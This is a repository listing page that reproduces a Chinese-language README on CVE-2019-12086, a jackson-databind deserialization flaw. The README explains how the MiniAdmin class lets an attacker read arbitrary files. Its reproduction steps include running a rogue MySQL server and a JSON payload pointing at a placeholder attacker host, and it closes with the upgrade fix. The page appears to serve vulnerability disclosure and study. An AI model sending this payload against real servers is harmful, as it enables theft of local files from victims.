All Projects → codeplutos → Cve 2019 12086 Jackson Databind File Read

codeplutos / Cve 2019 12086 Jackson Databind File Read

Programming Languages

java
68154 projects - #9 most used programming language

Labels

Projects that are alternatives of or similar to Cve 2019 12086 Jackson Databind File Read

Cve 2017 0065
Exploiting Edge's read:// urlhandler
Stars: ✭ 15 (-86.36%)
Mutual labels:  cve
Vulmap
Vulmap 是一款 web 漏洞扫描和验证工具, 可对 webapps 进行漏洞扫描, 并且具备漏洞利用功能
Stars: ✭ 1,079 (+880.91%)
Mutual labels:  cve
Patton
The clever vulnerability dependency finder
Stars: ✭ 87 (-20.91%)
Mutual labels:  cve
Cve Api
Unofficial api for cve.mitre.org
Stars: ✭ 36 (-67.27%)
Mutual labels:  cve
Iva
IVA is a system to scan for known vulnerabilities in software products installed inside an organization. IVA uses CPE identifiers to search for CVEs related to a software product.
Stars: ✭ 49 (-55.45%)
Mutual labels:  cve
Vulnerability Data Archive
With the hope that someone finds the data useful, we periodically publish an archive of almost all of the non-sensitive vulnerability information in our vulnerability reports database. See also https://github.com/CERTCC/Vulnerability-Data-Archive-Tools
Stars: ✭ 63 (-42.73%)
Mutual labels:  cve
Vfeed
The Correlated CVE Vulnerability And Threat Intelligence Database API
Stars: ✭ 826 (+650.91%)
Mutual labels:  cve
Middleware Vulnerability Detection
CVE、CMS、中间件漏洞检测利用合集 Since 2019-9-15
Stars: ✭ 1,378 (+1152.73%)
Mutual labels:  cve
Sudo killer
A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo for linux privilege escalation.
Stars: ✭ 1,073 (+875.45%)
Mutual labels:  cve
Cve 2019 0708 Tool
A social experiment
Stars: ✭ 87 (-20.91%)
Mutual labels:  cve
Cve 2020 15906
Writeup of CVE-2020-15906
Stars: ✭ 39 (-64.55%)
Mutual labels:  cve
Kernelhub
🌴Windows Kernel privilege escalation vulnerability collection, with compilation environment, demo GIF map, vulnerability details, executable file
Stars: ✭ 972 (+783.64%)
Mutual labels:  cve
Ossf Cve Benchmark
The OpenSSF CVE Benchmark consists of code and metadata for over 200 real life CVEs, as well as tooling to analyze the vulnerable codebases using a variety of static analysis security testing (SAST) tools and generate reports to evaluate those tools.
Stars: ✭ 71 (-35.45%)
Mutual labels:  cve
Snyk Js Jquery 174006
patches for SNYK-JS-JQUERY-174006, CVE-2019-11358, CVE-2019-5428
Stars: ✭ 21 (-80.91%)
Mutual labels:  cve
Patrowlhears
PatrowlHears - Vulnerability Intelligence Center / Exploits
Stars: ✭ 89 (-19.09%)
Mutual labels:  cve
Poccollect
Poc Collected for study and develop
Stars: ✭ 15 (-86.36%)
Mutual labels:  cve
Security Checker Action
The PHP Security Checker
Stars: ✭ 57 (-48.18%)
Mutual labels:  cve
Gitlab rce
RCE for old gitlab version <= 11.4.7 & 12.4.0-12.8.1 and LFI for old gitlab versions 10.4 - 12.8.1
Stars: ✭ 104 (-5.45%)
Mutual labels:  cve
Cvebase.com
cvebase is a community-driven vulnerability data platform to discover the world's top security researchers and their latest disclosed vulnerabilities & PoCs
Stars: ✭ 88 (-20%)
Mutual labels:  cve
Cve 2018 20555
Social Network Tabs Wordpress Plugin Vulnerability - CVE-2018-20555
Stars: ✭ 78 (-29.09%)
Mutual labels:  cve

jackson-CVE-2019-12086

漏洞描述

在开启Default Typing的情况下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,攻击者可以通过发送恶意json数据读取任意文件。mysql-connector-java这个库就是连接数据库时常用的mysql jdbc。

CVE描述如下:

A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.

漏洞分析

漏洞详情:

  1. 在开启Default Typing的情况下,jackson在反序列化json时,可以反序列化指定类,且可以指定一个基础类型的值作为这个类的构造函数的参数的值。
  2. com.mysql.cj.jdbc.admin.MiniAdmin的构造函数接受一个string的值,这个值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin类在初始化会连接这个jdbcURL中指定的MySQL数据库。
  3. 在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,恶意MySQL服务器可以读取MySQL客户端的任意本地文件,从而导致漏洞产生。

漏洞复现

  1. 启动恶意MySQL服务器: https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

python rogue_mysql_server.py

  1. 在同一个目录下查看mysql.log:

tail -f mysql.log

  1. 向存在漏洞的应用发送如下json:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

  1. 当jackson反序列化恶意json串后,会连接恶意MySQL服务器,被读取的文件内容会写入恶意服务器的mysql.log。

漏洞修复

升级jackson至2.9.9及以上。

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].